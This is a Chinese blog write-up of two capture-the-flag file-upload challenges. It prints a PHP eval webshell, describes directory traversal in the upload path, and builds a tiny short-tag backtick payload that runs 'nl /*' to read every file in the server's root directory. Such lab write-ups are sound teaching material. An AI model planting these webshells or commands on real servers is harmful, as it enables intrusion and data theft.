第一届贵州理工校赛--ez-upload&&ez-upload-plus

最近复习完文件上传的漏洞靶场,那么就要用题目来进行巩固一番,贵州理工校赛是我写博客的起点啊,其中两道题因为那时还没有怎么接触,所以没有做出来,那么现在就要去把它搞定了,那么就开搞吧。

靶场地址:https://www.qsnctf.com/

一、ez-upload

题目提示:当前目录无法解析,说明其文件上传和目录穿越的结合

可以看到题目提示随便传,那么直接传一句话木马

<?php eval($_POST['cmd']); ?>

可以看到上传成功,那么试一下访问

发现并没有进行解析,那么就需要进行目录穿越,首先就是需要试一下目录穿越的功能点在哪

最后尝试在下面12.php那里可以进行目录穿越,如下所示

可以看到上传成功了,那么进行访问

可以看到解析成功了,那么使用蚁剑进行连接即可

连接成功,那么寻找flag即可,或者使用下面命令可以直接输出

cat /f*

ok,此题的难点在于需要寻找到目录穿越的功能点,然后就简单。

二、ez-upload-puls

此题的难度结合了上一题的解题思路,还有在上传文件时检验文件的长度,如下所示

可以看到一句话木马也太大,说明检验其长度,那么就需要进行不断地尝试了

那么从两张图可以看出文件字节数不大于11字节,那么这里又要进行考虑了,只能少于11字节的话那么如何上传一句话木马呢,毕竟<?php ;?>这里都八个字节了,并且还要执行系统命令,php执行系统命令的函数都要大于3字节了。那么这里就介绍php中另一种执行系统命令的方式

1、php短标签和反引号

php短标签(Short Open Tags)

PHP 短标签是一种简化的代码起始 / 结束标记,目的是减少代码冗余,常见于快速输出内容的场景。

1. 常见形式及作用
  • <? ?>:替代完整标签<?php ?>,用于包裹 PHP 代码。例:<? echo "hello"; ?> 等价于 <?php echo "hello"; ?>

  • <?= ... ?>:这是<? echo ... ?>的简写(最常用!),专门用于快速输出变量或表达式的值。例:<?= "hello" ?> 等价于 <?php echo "hello"; ?>,输出结果为hello

2. 关键
  • 字节极短<?= ?> 仅占 3 个字符(<?=),比完整标签<?php echo ...; ?>节省大量字节,这也是你在 “文件内容≤11 字节” 限制下能使用它的核心原因。
  • 默认支持:虽然早期 PHP 需要在php.ini中开启short_open_tag配置,但现代 PHP(5.4+)中,<?= ?> 始终可用(不受short_open_tag影响),因此几乎所有环境都能直接运行。
反引号():执行运算符

PHP 中的反引号(,注意不是单引号')是执行运算符,专门用于执行系统命令并返回命令的输出结果。

1. 作用及用法

反引号包裹的内容会被当作系统命令执行,执行结果会作为字符串返回。例如:

<?= `ls /`; ?>  // 等价于 <?php echo shell_exec('ls /'); ?>
  • 这里反引号内的ls /是 Linux 命令,执行后会返回根目录的文件列表;
  • 结合短标签<?= ?>,就能直接输出命令的执行结果(这正是你上传文件后能看到目录内容的原因)。

那么这里我们就可以构建payload了,使用语句如下

<?=``;

在反引号里面我们就可以执行系统命令,?>是可以省略的。

那么如下图所示,记住这里也包含了上一题的目录穿越,不然上传的无法解析

那么进行访问一下

可以看到flag了,那么有出现了一个问题,就是怎么读取flag,我们要时刻考虑的是,在我上面构造的payload中

<?=``;

这是基础的,如果你的条件不符合这个,那么是不会解析的。我们可以数数,上面的语句已经占了六个字节,那么也就是说我们需要使用五个字节去读取flag,那么就常见的读取文件内容payload,我们在上面的上传的文件已经知道了flag在根目录,那么读取flag就需要

cat /f*

七个字节,无法上传,空格是不可以去掉的,/是代表根目录,也是无法去除的,那么有没有更短的读取文件的命令呢。哎,就有那么一个,nl

nl命令

nl 是 Linux/Unix 系统中的常用文本处理命令,核心功能是 为文件内容添加行号并输出,比 cat -n 更灵活(支持自定义行号格式、空行是否编号等)。它在日常文本处理和 CTF 命令执行场景中都可能用到,尤其适合需要快速定位行内容的场景。

1.基本语法
nl [选项] 文件名

如果不指定文件名,默认读取标准输入(可通过管道符 | 接收其他命令的输出)。

那么将上面的payload换成nl,如下所示

nl /f*

六个字节,还差一个,那么这里就需要知道读取文件的一个特性,就是如果在读取文件命令后面只是加上所在目录,但是没有文件名,然后再加上通配符*,那么命令就会读取所在目录所有可读的文件并输出,语句如下

nl /*

此命令的意思是读取根目录下所有可读文件并输出,并且是五个字节,符合长度,如下所示

成功读取,此题结合了很多的知识,短标签,反引号,nl命令等,难度还是有点的。

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

jieyu1119

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值